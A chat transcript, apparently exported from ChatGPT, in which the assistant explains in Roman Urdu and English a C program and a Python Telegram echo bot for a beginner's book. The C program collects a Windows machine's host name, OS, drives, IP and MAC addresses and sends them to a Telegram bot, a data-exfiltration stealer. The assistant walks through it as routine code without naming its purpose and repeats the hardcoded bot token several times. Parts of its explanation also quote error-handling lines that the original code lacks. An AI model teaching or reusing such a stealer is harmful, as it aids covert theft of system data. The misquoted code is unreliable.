C++ Explanation for Beginners

C++ Explanation for Beginners
main apku c++ ka code provide krunga apny uky har word ku explian krna hain kih ye kio use hua
aur kihan se use hu aur kio use hua main esi trha ka english urdu ih rhn hu aur jis trha tum
explain kr rhn hun uss se main confuse hu rhn hu main ny tum ku batia kih mujy asy explain kro
kih mai ik beginnner hb
Memory updated
Bilkul, main aapko har line aur har lafz ko bohot simple aur aasan tareeke se explain karunga, bilkul
jese ek beginner ke liye hona chahiye. Aap code provide karain, aur main usay bilkul aasan tareeke se,
English-Urdu transliteration mein samjhaunga.
program.c : #include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>
// send data to Telegram channel using winhttp

int sendToTgBot(const char* message) {
const char* chatId = "466662506";
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,

WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;
}
hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);

if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST",

L"/bot6385065600:AAHZrjg0t566bdCaH2cagfgkIaVgRNUqjws/sendMessage", NULL,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
Printed using Save ChatGPT as PDF, powered by PDFCrowd HTML to PDF API. 1/33
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
}
// construct the request body

char requestBody[512];
sprintf(requestBody, "chat_id=%s&text=%s", chatId, message);
// set the headers

if (!WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r\n", -1,
requestBody, strlen(requestBody), strlen(requestBody), 0)) {
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
return 1;
}
printf("successfully sent to tg bot :)\n");

return 0;
}
// get systeminfo and send to chat via tgbot logic

int main(int argc, char* argv[]) {
// test tgbot sending message

char test[1024];
const char* message = "meow-meow";
snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);
sendToTgBot(test);
char systemInfo[4096];
// Get host name

CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR
// Get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);
// Get system information

SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
// Get logical drive information

DWORD drives = GetLogicalDrives();
// Get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return false;
}
snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s\n" // Use %s for CHAR
"OS Version: %d.%d.%d\n"
"Processor Architecture: %d\n"
"Number of Processors: %d\n"
"Logical Drives: %X\n",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);
// Add IP address information

for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s\n"
"IP Address: %s\n"
"Subnet Mask: %s\n"
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}
char info[8196];
snprintf(info, sizeof(info), "{\"text\":\"%s\"}", systemInfo);
int result = sendToTgBot(info);
if (result == 0) {
printf("ok =^..^=\n");
} else {
printf("nok <3()~\n");
}
return 0;
} telebot.py :
"""
Simple Bot to reply to Telegram messages.
First, a few handler functions are defined. Then, those functions are passed to
the Application and registered at their respective places.
Then, the bot is started and runs until we press Ctrl-C on the command line.
Usage:
Basic Echobot example, repeats messages.
Press Ctrl-C on the command line or send a signal to the process to stop the
bot.
"""
import logging
from telegram import ForceReply, Update

from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filters
# Enable logging
logging.basicConfig(
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=logging.INFO
)
# set higher logging level for httpx to avoid all GET and POST requests being logged
logging.getLogger("httpx").setLevel(logging.WARNING)
logger = logging.getLogger(__name__)
# Define a few command handlers. These usually take the two arguments update and
# context.
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Send a message when the command /start is issued."""
user = update.effective_user
await update.message.reply_html(
rf"Hi {user.mention_html()}!",
reply_markup=ForceReply(selective=True),
)
async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:

"""Send a message when the command /help is issued."""
await update.message.reply_text("Help!")
async def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:

"""Echo the user message."""
print(update.message.chat_id)
await update.message.reply_text(update.message.text)
def main() -> None:

"""Start the bot."""
# Create the Application and pass it your bot's token.
application =
Application.builder().token("6385065600:AAHZrjg0t566bdCaH2cagfgkIaVgRNUqjws").build()
# on different commands - answer in Telegram

application.add_handler(CommandHandler("start", start))
application.add_handler(CommandHandler("help", help_command))
# on non command i.e message - echo the message on Telegram

application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, echo))
# Run the bot until the user presses Ctrl-C

application.run_polling(allowed_updates=Update.ALL_TYPES)
if __name__ == "__main__":
main()
Aapke diye gaye C++ aur Python code mein kuch complex functionalities hain jo beginner ke liye
challenging ho sakti hain, lekin main aapko har cheez ko bohot hi aasan tareeke se, step-by-step
samjhaunga.
Pehle C++ code ko samajhte hain:
1. `#include <stdio.h>` aur doosri libraries:

Ye libraries kuch built-in functions aur constants ko import karti hain, jo hamare program
mein zaroori hain.
`#include <stdio.h>` standard input-output ko handle karta hai, jese `printf` aur
`fprintf`.
`#include <stdlib.h>` basic functions jese memory allocation aur type conversions ke liye
hai.
`#include <string.h>` string-related functions jese `strlen` aur `strcpy` ke liye hai.
`#include <windows.h>` aur `#include <winhttp.h>` Windows-specific functionalities, jese
HTTP requests bhejna, ke liye hain.
`#include <iphlpapi.h>` networking-related information ko access karne ke liye hai.
2. Function: ìnt sendToTgBot(const char* message)`:

Ye function data ko Telegram bot pe bhejne ka kaam karta hai.
`const char* message`: `message` ek constant character pointer hai jo data ya text ko
represent karta hai jo hum Telegram pe bhejna chahte hain.
3. `WinHttpOpen` aur `WinHttpConnect`:

`WinHttpOpen` ek HTTP session open karta hai.
`WinHttpConnect` ye session specific server, yahan "api.telegram.org", ke saath connect
karta hai.
4. Request send karna using `WinHttpOpenRequest` aur `WinHttpSendRequest`:
`WinHttpOpenRequest`: HTTP request create karta hai jo data bhejne ke liye "POST" method
ko use karta hai.
`WinHttpSendRequest`: Request ke headers aur body set karta hai, aur ye request Telegram
bot server ko bhejti hai.
5. System Information gather karna:

Ye segment system ka kuch info, jese host name, OS version, processor info, aur IP address
gather karta hai.
`GetComputerNameA`, `GetVersionEx`, aur `GetSystemInfo` ye sab functions hain jo Windows
system se ye data retrieve karte hain.
6. IP Address aur MAC Address details gather karna using `GetAdaptersInfo`:

`GetAdaptersInfo` computer ke network adapters ka info, jese IP aur MAC address ko
retrieve karne ke liye use hota hai.
7. Main Function (`main`):

Program ka entry point hai, aur yahan se execution start hota hai.
`snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);` is se ek JSON-style text
format mein message construct hota hai jo Telegram bot pe bhejna hota hai.
`sendToTgBot(test);` message ko bhejne ke liye call kiya gaya hai.
Ab aate hain Python code pe:
1. Import Statements:
ìmport logging`: Logging ko manage karne ke liye use hota hai.
`from telegram ...`: Telegram bot ke commands aur messages handle karne ke liye
specific classes aur functions import karte hain.
2. Logging Setup:
Logging set kiya gaya hai taki program mein error aur info messages ko manage kiya ja
sake.
3. Commands (`start`, `help`, ècho`):

`start`: User ko bot ke start hone ka message bhejta hai.
`help_command`: Help message provide karta hai.
ècho`: User ka jo bhi message aata hai usay vaapas user ko bhejta hai.
4. Main Function in Python:

àpplication = Application.builder().token("...").build();` bot application ko initialize
karta hai.
`run_polling`:
Bot continuously user ke messages aur commands ka wait karta hai aur
unka jawab deta hai.
Ye dono codes mein kaafi technical details hain, lekin ab bhi kuch aur specific cheezain chahiye
samajhne ke liye toh bataiye, main aur detail mein guide kar sakta hoon.
what but i need a complete detailed explaination on every word of code please tech me this i need
it
Samajh gaye! Aap chahte hain ke main har ek word aur line ka bohot hi detailed explanation doon,
takay aap har cheez ko asaani se samajh sakein. Main aapko har ek cheez step-by-step samjhaunga,
jese ek beginner ke liye hona chahiye.
Chaliye, pehle C++ code ko explain karte hain. Har line aur word ko samajhte hain.
C++ Code Explanation
Line 1: `#include <stdio.h>`
`#include`:Ye ek preprocessor directive hai, jo compiler ko batata hai ke kisi external library ko
program mein include karo.
`<stdio.h>`: Ye header file hai jo standard input-output functions provide karti hai, jese
`printf()` aur `scanf()` jo console ke saath interact karte hain. `stdio` ka matlab hai "Standard
Input Output".
Line 2: `#include <stdlib.h>`
`<stdlib.h>`:Is header file mein functions hote hain jo general purpose tasks handle karte hain,
jaise memory allocation (`malloc`), program ko exit karna (èxit`), aur random numbers
generate karna (`rand`).
Line 3: `#include <string.h>`
`<string.h>`:Ye string-related operations ke liye functions provide karta hai, jese strings ko copy
karna (`strcpy`), compare karna (`strcmp`), aur unki length nikalna (`strlen`).
Line 4: `#include <windows.h>`
`<windows.h>`:Ye header file Windows operating system ke functions ko include karti hai, jo
system-related tasks ko handle karte hain, jaise file management, memory management, aur
Windows API calls.
Line 5: `#include <winhttp.h>`
`<winhttp.h>`:Ye Windows-specific HTTP functions ko provide karta hai, jise hum internet
requests (HTTP/HTTPS) bhejne ke liye use karte hain, jo Telegram ko message bhejne ke liye use
ho raha hai.
Line 6: `#include <iphlpapi.h>`
`<iphlpapi.h>`:
Ye header file network-related information ke liye use hoti hai, jaise IP addresses
aur network adapters ke baare mein data retrieve karna.
Function 1: ìnt sendToTgBot(const char* message)`
ìnt`:Ye function ka return type hai, matlab ye function ek integer value return karega (1 ya 0).
`sendToTgBot`: Ye function ka naam hai. Function ka kaam hai Telegram bot ko message bhejna.
`const char* message`: Ye parameter hai jo ek string (message) ko accept karta hai. `const` ka
matlab hai ke hum is string ko modify nahi kar sakte. `char*` ka matlab hai ke ye character ka
pointer hai, yani ek array jisme characters (text) stored hote hain.
Inside the Function
1. `const char* chatId = "466662506";`

`chatId`: Ye variable hai jisme Telegram chat ka ID store hota hai, jahan pe message bhejna
hai.
2. `HINTERNET hSession = NULL;`

`HINTERNET`: Ye Windows ke data type hai jo internet connection ko represent karta hai.
`hSession`: Ye variable hai jo session ko store karega.
`= NULL`: Isse ye initialize ho jata hai, yani shuru mein ye koi value nahi rakhta.
3. `hSession = WinHttpOpen(...);`
`WinHttpOpen`: Ye Windows API function hai jo ek HTTP session open karta hai. Ismein
`"UserAgent"` jo string hai wo user ka agent define karta hai.
`WINHTTP_ACCESS_TYPE_DEFAULT_PROXY`: Ye default proxy type hai, jo network requests ke liye
use hota hai.
`WINHTTP_NO_PROXY_NAME` aur `WINHTTP_NO_PROXY_BYPASS`: In parameters se proxy settings ko
disable kiya ja raha hai.
4. Error checking: ìf (hSession == NULL) {`

Agar session open nahi ho pata, toh `NULL` return hota hai, aur hum error print karte hain
using `fprintf()`.
5. `hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0);`

`WinHttpConnect`: Ye function server ke saath connection establish karta hai.
`L"api.telegram.org"`: Ye server ka URL hai (Telegram ka API).
ÌNTERNET_DEFAULT_HTTPS_PORT`: Ye default HTTPS port number hai (443).
6. `HINTERNET hRequest = WinHttpOpenRequest(...);`

`WinHttpOpenRequest`:Ye function HTTP request create karta hai, jo "POST" method ko use
karega. "POST" ka matlab hai data bhejna.
`L"/bot.../sendMessage"`: Ye Telegram API ka endpoint hai, jahan pe hum message bhejte
hain.
7. `char requestBody[512];`
`requestBody`: Ye ek array hai jo request ka body store karta hai (jisme message aur chat ID
hote hain).
`sprintf(requestBody, "chat_id=%s&text=%s", chatId, message);`: Is line mein hum body
banate hain, jisme chat ID aur message ko format karte hain.
8. ìf (!WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r\n",

-1, requestBody, strlen(requestBody), strlen(requestBody), 0))`
`WinHttpSendRequest`: Ye request ko bhejne ka kaam karta hai.

`L"Content-Type: application/x-www-form-urlencoded\r\n"`: Ye HTTP header hai jo request
ke type ko specify karta hai (form data).
9. `WinHttpCloseHandle(hRequest);`
`WinHttpCloseHandle`: Ye function request, session, aur connection ko close karta hai jab
kaam ho jaye.
10. `printf("successfully sent to tg bot :)\n");`

`printf`: Ye function output ko print karta hai.
Main Function: ìnt main(int argc, char* argv[])`
ìnt main(int argc, char* argv[])`: Ye program ka entry point hai. àrgc` number of arguments
ko represent karta hai aur àrgv` argument values ko store karta hai.
`snprintf(test, sizeof(test), "{\"text\":\"%s\"}", message);`
`snprintf`: Ye ek safe version hai `sprintf` ka, jo buffer overflow se bachata hai.
`test`: Is variable mein formatted message store hota hai.
`sendToTgBot(test);`
Ye function call message ko Telegram bot pe bhejne ke liye.
Python Code: telebot.py
Agar aapko Python code ka bhi detailed explanation chahiye, toh main usko bhi har line aur word ke
sath explain karunga. Aap mujhe bataiye agar aapko Python code ka bhi detailed breakdown chahiye.
han python waliy ka be dedo and last main mujy detailed road map dena kih kasiy seekna hain
aur kis topic pe foucas krna hain aur kio zarorie hain wu topics ju neccessery hain ok everthing for
me as beginner smjana ok
Memory updated
Great! Let’s dive into the Python code and understand each part with simple explanations. Afterward,
I’ll provide a roadmap for learning programming as a beginner.
Python Code Explanation (telebot.py)
Line 1: ìmport logging`
ìmport`: This is a Python keyword used to bring in external modules (collections of pre-written
code) into your program.
`logging`: The `logging` module is for recording messages to the console or files, which helps in
tracking the code’s behavior.
Line 2-5: Logging Setup
python
)
`logging.basicConfig()`: Configures logging settings.

`format`: This defines the structure of log messages. Here:
`%(asctime)s`: Shows the date and time.
`%(name)s`: Shows the name of the logger.
`%(levelname)s`: Shows the level of the message (INFO, WARNING, ERROR, etc.).
`%(message)s`: The main message to be logged.
`level=logging.INFO`: Sets the logging level to INFO, meaning all INFO-level and higher
messages (like ERROR) will be shown.
`logging.getLogger("httpx").setLevel(logging.WARNING)`: Lowers the log level for "httpx" library
messages to show only warnings or errors.
Line 6: `logger = logging.getLogger(__name__)`
`logger`: This variable stores the logger instance.

`logging.getLogger(__name__)`: Creates a logger with the name of the module (`__name__`), which
helps in tracking where log messages originate from.
Functions for Bot Commands
Each function handles a specific command or message type that the bot will respond to.
1. àsync def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:`

àsync`: This keyword makes the function asynchronous, allowing it to handle other tasks
while waiting for responses.
`def start(...)`: Defines a function named `start` that responds to the `/start`
command in Telegram.
ùpdate`: Contains information about the incoming message, such as text, sender, and chat
details.
`context`: Stores contextual data, like bot settings and message history.
python
)
àwait`:Waits for the bot to send a reply, as it’s an asynchronous operation.

ùpdate.message.reply_html()`: Replies to the user’s message in HTML format.
`ForceReply(selective=True)`: Adds a “reply” option, prompting the user to respond.
2. àsync def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:`

Similar to the `start` function, but this function responds to the `/help` command, sending
back a message saying `"Help!"`.
3. àsync def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:`

ècho`:This function repeats any message sent by the user, echoing it back.
àwait update.message.reply_text(update.message.text)`: Replies to the user by repeating
the same message text.
Main Function: `def main() -> None`
This function sets up and runs the bot.
1. àpplication = Application.builder().token("...").build()`
Àpplication.builder().token("...")`: Initializes the bot with a unique Telegram token.
`.build()`: Completes the setup, allowing the bot to connect to Telegram.
2. Handlers for Commands and Messages

àpplication.add_handler(CommandHandler("start", start))`: Tells the bot to run the `start`
function when it receives the `/start` command.
àpplication.add_handler(CommandHandler("help", help_command))`: Sets up the `/help`
command.
àpplication.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, echo))`: Runs
the ècho` function when any regular (non-command) text message is received.
3. àpplication.run_polling(allowed_updates=Update.ALL_TYPES)`
`run_polling()`: Starts the bot, continuously checking for new messages or commands.
àllowed_updates=Update.ALL_TYPES`: Ensures the bot listens to all types of updates,
including text, images, and more.
Beginner Programming Roadmap
Now, let’s outline a roadmap to help you learn programming systematically, focusing on essential
topics.
Step 1: Basic Programming Fundamentals
Syntax: Learn the syntax of a language, such as C++ or Python, and understand how to write
basic code.
Variables and Data Types: Practice using different data types (integers, strings, etc.) and storing
data in variables.
Basic I/O: Learn to take input from users and display output.
Step 2: Control Structures
Conditional Statements: Master ìf`, èlse`, and èlif` in Python, or ìf`, èlse`, and `switch`
in C++.
Loops: Understand `for` and `while` loops to repeat tasks.
Step 3: Functions
Function Basics: Learn how to define and call functions to break down code into reusable parts.
Parameters and Return Values: Practice using parameters to pass data and return values to get
results.
Step 4: Data Structures
Arrays and Lists: Start with arrays in C++ and lists in Python.
Dictionaries/Maps: Learn how to use dictionaries (Python) or maps (C++) for key-value data.
Step 5: Object-Oriented Programming (OOP)
Classes and Objects: Understand how to structure code using classes to represent real-world
concepts.
Inheritance, Polymorphism, Encapsulation: These are core OOP principles that help in writing
modular, maintainable code.
Step 6: Error Handling and Debugging
Error Types: Learn about syntax errors, runtime errors, and logical errors.
Debugging: Practice debugging techniques and using tools like `printf()` (C++) or `print()`
(Python) statements to check code behavior.
Step 7: Projects and Problem Solving
Start building small projects (like a calculator, a bot, or a simple game) to apply your knowledge.
Practice coding problems on platforms like LeetCode, HackerRank, or CodeSignal to strengthen
your logical thinking.
Step 8: Networking and APIs (Intermediate)
Understanding HTTP Requests: Learn how HTTP works to connect to servers.

API Integration: Practice connecting to external services using APIs, like in the Telegram bot
example.
Key Resources
Books: "Learn Python the Hard Way" for Python or "Programming: Principles and Practice Using
C++" for C++.
Online Platforms: Codeacademy, Coursera, and YouTube tutorials for guided learning.
Yeh roadmap aapko programming mein base build karne mein help karega, step-by-step aage badhne
se aapka confidence bhi badega aur cheezein samajhna easy hoga. Keep practicing, and feel free to
ask if you need more detailed explanations or guidance!
Jasia kih main deek rhn hu kih tum serf function names explain krarhin hu tu mujy pora code
explaimed chaiyia every words abi mujy dona ka explains proved kro C ka be and Python ka be
Understood! Let's go through each line of code in full detail, breaking down every word and symbol in
both the C and Python programs. I’ll start with the C code, then move to the Python code.
C Code Explanation (program.c)

Let's go step-by-step through each line, explaining every element in the code.
Lines 1-5: Including Necessary Libraries
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
`#include`: This tells the compiler to add code from external libraries, which contain functions
used in this program.
`<stdio.h>`: Standard Input Output library, used here for `printf` and `fprintf` functions for
displaying messages.
`<stdlib.h>`: Standard library, needed for basic functions like `sprintf`.
`<string.h>`: String library, needed for handling strings (like `strlen`).
`<windows.h>`: Windows-specific functions, like handling network and system calls.
`<winhttp.h>`: Windows HTTP Services, enabling HTTP requests in a Windows environment.
`<iphlpapi.h>`: IP Helper API, helps retrieve network information, like IP addresses.
Function Definition: `sendToTgBot()`
This function sends a message to a Telegram bot using HTTP requests.

Line 6-8: Function Header and Local Variables

ìnt`:The return type, indicating the function returns an integer (1 or 0).

`sendToTgBot`: Function name, chosen to indicate it sends data to a Telegram bot.
`const char* message`: Parameter of type `const char*`, representing a constant string message.
`const char* chatId`: A constant string to hold the chat ID.
`HINTERNET`: A type from `<winhttp.h>` to represent an internet handle.
`hSession` and `hConnect`: Variables to store session and connection handles.
Line 9: Starting a Session
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY

_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
`WinHttpOpen`: Initializes an HTTP session with a specific user agent (browser identifier) and proxy
settings.
Error Handling (Checking `hSession`)
return 1;
}
ìf (hSession == NULL)`: Checks if the session failed to open.

`fprintf`:Displays error messages. `stderr` is the error output stream.
`GetLastError()`: Retrieves the last error code from Windows.
Continuing with Connection and Request Setup
We set up the server connection, define the request, and send it. Here's a summary of each line:
1. Connection to Telegram’s API server:
c
hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT,

0);
2. Define POST request to bot API URL:
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/bot<TOKEN>/sendMessag

e", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
3. Create the request body to send:
4. Send the request, then close handles.
Python Code Explanation (telebot.py)
Import Statements and Setup
python
import logging

from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filter
s
1. ìmport logging`: Imports a module for logging messages to console or files.

2. Telegram Imports: Imports necessary classes for interacting with Telegram messages and
handlers.
Setting Up Logging
python
)
`logging.basicConfig()`: Configures logging with a format and sets a level to log INFO and
higher.
Defining Functions for Telegram Bot Commands
The bot uses asynchronous functions (using àsync def`).
1. start() function: Responds to `/start` command:
python

await update.message.reply_html(rf"Hi {user.mention_html()}!")
2. help_command() function: Responds to `/help`.
3. echo() function: Replies back with the same message the user sends.
main() Function (Starting the Bot)
python
def main() -> None:

application = Application.builder().token("TOKEN").build()
Lekin mujy ye saab detailed main cahiyi wo be jasia main massege kr rhn hu wasiy urdu english
text main meni iska book banana hain beginner ki ley
Memory updated
Got it! I'll provide a detailed, step-by-step breakdown for each line and word in a way that would be
suitable for a beginner's book, using both English explanations and Urdu transliterations.
Let's start with the C code. I'll go through each line, explaining what it does in an easy, conversational
style.
C Code Explanation (Line-by-Line)
Line 1-6: Including Necessary Libraries
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Explanation:
1. `#include`: Yeh preprocessor command hai jo compiler ko instructions deti hai keh code mein
aur libraries include karein (add karein). Yeh libraries code mein humare functions aur features
provide karti hain.
Urdu: Is ka matlab hai yeh line compiler ko keh rahi hai keh baaqi functions ya features
include hoon jo hum neeche use karenge.
2. `<stdio.h>`: Standard Input Output library. Is library mein woh functions hain jo humein input
aur output handle karne mein madad karte hain, jaise `printf` aur `fprintf`.
Urdu: Yeh woh library hai jo print karne aur screen pe data show karne ke kaam aati hai.
3. `<stdlib.h>`: Standard library, jo kuch basic functions, jaise memory allocation aur conversions
provide karti hai.
Urdu: Yeh library basic kam mein madad karti hai, jaise kuch memory allocate karna ya
kuch cheezein convert karna.
4. `<string.h>`: Is library mein woh functions hain jo strings (text) handle karne mein kaam aati
hain, jaise `strlen` jo string ki length batata hai.
Urdu: Yeh library text ko handle karne mein madad karti hai, jaise yeh check karna ke text
kitna lamba hai.
5. `<windows.h>`: Yeh Windows-specific library hai jo Windows ke functions ko access karne mein
madad karti hai, jaise network aur system ke operations.
Urdu: Yeh Windows ke functions ko use karne ke liye zaroori hai, agar hum Windows pe
kaam kar rahe hain.
6. `<winhttp.h>`: Yeh Windows HTTP services library hai jo HTTP requests Windows pe run karne ke
liye chahiye hoti hai.
Urdu: Yeh library allow karti hai keh hum HTTP requests ko Windows ke upar run kar
sakein.
7. `<iphlpapi.h>`: IP Helper API, jo network information, jaise IP address waghera lene mein
madad karti hai.
Urdu: Yeh IP aur network information ko retrieve karne mein madad karti hai, jaise IP
address lena.
Function Definition: `sendToTgBot()`

Explanation:
1. ìnt`: Yeh data type hai jo function ka return type define karta hai. ìnt` ka matlab hai function
ya toh 1 ya 0 return karega.
Urdu: Yeh number (integer) return karega, jo success ya failure ka signal hota hai.
2. `sendToTgBot`: Yeh function ka naam hai jo is baat ka pata deta hai keh yeh Telegram bot ko data
bhejne ka kaam karega.
Urdu: Yeh naam batata hai keh is function ka kaam data ko Telegram bot pe bhejna hai.
3. `const char* message`: Yeh parameter hai jo ek constant string hai. Yeh constant hai, matlab
function isey change nahi karega.
Urdu: Yeh woh message hai jo hum bot ko bhejna chahte hain.
4. `const char* chatId`: Yeh string hai jo humari chat ID store karti hai. Is chat ID ko bot message
bhejne ke liye use karega.
Urdu: Yeh chat ki pehchaan hai jo humain bot se contact mein rakhne ke liye zaroori hai.
5. `HINTERNET hSession = NULL`: Yeh variable ek Internet session handle karega, jo session start
karte hi initialize ho jayega.
Urdu: Yeh handle (control) humein session ko manage karne mein madad karega.
6. `HINTERNET hConnect = NULL`: Yeh connection ka handle store karega jo session ke liye specific
connection establish karega.
Urdu: Yeh connection handle hai jo session ko manage karega aur server se connect
karega.
Starting a Session and Checking for Errors
hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY

_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
return 1;
}
Explanation:
1. `WinHttpOpen`: Yeh function ek HTTP session start karta hai. Iska pehla parameter user-agent
specify karta hai, aur baaqi options specify karte hain proxy settings waghera.
Urdu: Yeh function ek session shuru karta hai jo humein internet request bhejne mein
madad karega.
2. ìf (hSession == NULL)`: Yeh condition check kar raha hai agar session create nahi hua (NULL ho
gaya toh error hai).
Urdu: Yeh check karta hai ke agar session ban gaya hai ya nahi. Agar NULL hai, toh error
hua hai.
3. `fprintf(stderr, "...")`: Yeh error print karta hai screen pe (stderr means standard error).
Urdu: Yeh error message display karta hai jo bataega ke kya issue hai.
4. `GetLastError()`: Yeh Windows function pichli error code ko wapas karta hai.
Urdu: Yeh pichli error ka code batata hai.
I’ll continue with the rest of the C code after this. If this style is helpful, please let me know, and then
we’ll go on to the Python code too.
Yes completely continues in this style
Great! Let's continue explaining the C code step-by-step in this style.
Continuing with Session and Connection Setup
hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT,

0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
return 1;
}
Explanation:
1. `WinHttpConnect`: Yeh function Windows ka hai jo ek connection establish karta hai server ke
saath, jo iss case mein àpi.telegram.org` hai. Yeh function session handle aur server ka naam
leta hai, aur HTTPS protocol ke liye port specify karta hai.
Urdu: Yeh connection establish karta hai Telegram ke API server ke saath, jo humein data
bhejne mein madad karega.
2. ìf (hConnect == NULL)`: Yeh check karta hai agar connection successful hai ya nahi (agar `NULL`
hai, toh connection fail ho gaya).
Urdu: Yeh confirm karta hai ke connection ban gaya ya nahi. Agar NULL ho, toh error hai.
3. `fprintf(stderr, "...")`: Error message display karta hai jo connection issue batata hai.
Urdu: Yeh error message print karta hai jo batata hai ke connection mein problem hui hai.
4. `WinHttpCloseHandle(hSession);`: Agar connection fail ho gaya, toh session ko close kar dete
hain.
Urdu: Agar connection ban nahi saka, toh hum session ko close kar rahe hain takay koi
extra resource na lage.
5. `return 1;`: Yeh function end kar deta hai aur `1` return karta hai jo error signal hai.
Urdu: Yeh function ko band kar deta hai agar connection fail ho jaye.
Creating and Sending an HTTP Request
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/bot6385065600:AAHZrjg0t566

bdCaH2cagfgkIaVgRNUqjws/sendMessage", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYP
ES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
return 1;
}
Explanation:
1. `WinHttpOpenRequest`: Yeh function ek HTTP request create karta hai. Is mein method `POST` hai,
jo data server ko bhejta hai. Path `"/bot.../sendMessage"` humein batata hai ke hum kis
endpoint pe message bhej rahe hain.
Urdu: Yeh server ko request bhejta hai, jo specify karta hai ke hum POST request bhej rahe
hain Telegram server pe message bhejne ke liye.
2. ìf (hRequest == NULL)`: Yeh check karta hai ke request create hui ya nahi. Agar `NULL` hai toh
request create nahi hui.
Urdu: Yeh check karta hai ke request ban gayi ya nahi, aur agar NULL hai toh error hai.
3. `fprintf(stderr, "...")`: Yeh error display karta hai agar request banane mein koi issue hua.
Urdu: Yeh error message display karta hai agar request banane mein problem hui ho.
4. `WinHttpCloseHandle(hConnect);` aur `WinHttpCloseHandle(hSession);`: Agar request create nahi
ho paayi toh hum connection aur session ko close karte hain.
Urdu: Agar request nahi bani toh hum session aur connection ko close kar dete hain.
Setting Up and Sending Data
char requestBody[512];
Explanation:
1. `char requestBody[512];`: Yeh character array hai jo message ko HTTP request body mein format
karne ke liye use hota hai.
Urdu: Yeh text ka block banata hai jo Telegram ko bhejna hai.
2. `sprintf`: Yeh function array mein formatted text likhta hai. Yeh `requestBody` mein chat ID aur
message ko merge karta hai.
Urdu: Yeh chat ID aur message ko combine karta hai ek specific format mein jo Telegram
accept karega.
Sending the HTTP Request
if (!WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded\r

\n", -1, requestBody, strlen(requestBody), strlen(requestBody), 0)) {
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
return 1;
}
Explanation:
